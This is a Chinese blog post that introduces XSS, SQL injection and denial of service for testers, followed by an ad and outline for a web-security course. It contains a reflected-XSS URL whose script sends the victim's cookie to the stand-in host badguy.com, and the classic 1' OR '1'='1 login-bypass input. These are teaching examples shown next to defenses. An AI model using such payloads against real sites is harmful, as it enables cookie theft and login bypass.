web安全攻防实战技巧

上一篇 / 下一篇  2017-01-25 09:35:15 / 个人分类:软件测试

一、什么是XSS

XSS指攻击者在网页中嵌入客户端脚本(例如JavaScript),用户浏览网页就会触发恶意脚本执行。比如获取用户的Cookie,导航到恶意网站,携带木马等。如何把恶意代码嵌入到用户要访问的网页中,攻击者挖空心思各出奇招了。一般会有这两类方式:

  • Reflected (non-persistent)
    反射攻击,就是恶意代码藏在本地,表现方式可能是一个恶意链接,你点击后给server GET/POST这个requestserver如果没有恰当的处理这个请求,恶意代码返回给用户浏览器并执行。举个例子就比较明白了。

有这么个网页,查询的结果和查询的关键字都会显示到网页上。

<html>

  <title></title>

    <body>

        Results  for <%Reequest.QueryString("term")%>

        ...

    </body>

</html>

Tom先建立一个网站http://badguy.com, 用来接收来的信息。然后Tom构造一个恶意的url(如下),通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行.那么Monicavictim.com网站的cookie,就会被发送到badguy网站中。这样Monicavictim.com的信息就被Tom盗了.

XSS防治之道

  1. 文本输入做中对js关键字做编码,让回给用户浏览器的js不可执行
  2. 浏览器的同源策略,浏览器只允许访问cookieIP+port必须同最初创建cookieip+port相同
  3. web app或者浏览器提供禁用script”的选项

 

二、什么是SQL注入

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

某个网站的登录验证的SQL查询代码为:

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "'and (pw = '"+ passWord +"');"

恶意填入

userName = "1' OR '1'='1";passWord = "1' OR '1'='1";

将导致原本的SQL字符串被填为

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1'and (pw = '1' OR '1'='1');"

也就是实际上运行的SQL命令会变成下面这样的

strSQL = "SELECT * FROM users;"

因此达到无账号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。

SQL injection防治之道

从安全技术手段上来说,可以通过数据库防火墙实现对SQL注入攻击的防范,因为SQL注入攻击往往是通过应用程序来进攻,可以使用虚拟补丁技术实现对注入攻击的SQL特征识别,实现实时攻击阻断。

三、Denial-of-service

顾名思义,拒绝服务攻击就是想尽办法让你的服务器无法正常提供服务。方法太多了,但是仔细研究攻击的模式,可以分为以下四种情况:

  a.消耗包括网络带宽、存储空间、CPU时间等资源;

  b.破坏或者更改配置信息;

  C.物理破坏或者改变网络部件;

  d.利用服务程序中的处理错误使服务失效

除了以上这两个常见的web安全攻防技巧以外,web攻击还有绕过漏洞、验证机制漏洞、会话管理漏洞、权限控制漏洞、xpath注入、csrf、逻辑漏洞、社会工程学攻击、自动化审计等等,是个非常庞大的知识体系,博为峰网校特别邀请了web安全技术大咖,推出了《web安全攻防学习宝典》精品课程,从web安全漏洞原理、攻击手段、测试方法、预防措施四个方面全面剖析WEB安全的点点滴滴,针对开发人员、测试人员、运维人员、网络工程师都能够起到一定的指导意义。

web安全攻防学习宝典》试听>>http://www.atstudy.com/course/196

web安全攻防学习宝典》课程大纲

第一章 安全测试基础

介绍http协议基础、安全测试基本概念、安全漏洞分类等基础内容

第二章 核心防御机制

讲解在安全测试、安全防御中核心的三层防御机制

第三章 解析应用程序

安全测试、攻击的核心,讲解如何扫描应用程序、进行安全分析

第四章 绕过客户端攻击

绕过客户端攻击,是安全攻击的基础。本章主要介绍绕过的手段以及可以绕过的漏洞类型

第五章 验证机制漏洞

5.1验证机制漏洞(一)

介绍验证机制漏洞第一部分,关于登录模块的漏洞分析

5.2验证机制漏洞(二)

验证机制漏洞第二部分,专题讲解忘记密码的漏洞原理分析及互联网实例

5.3验证机制漏洞(三)

介绍其他验证机制相关漏洞,如详细的报错信息、多阶段登录漏洞等内容

5.4验证机制漏洞(四)

专题讲解互联网应用中关于登录模块漏洞的实例

第六章 会话管理漏洞

TAG: 漏洞 信息泄露 网络安全 web安全

 

评分:0

我来说两句

Open Toolbar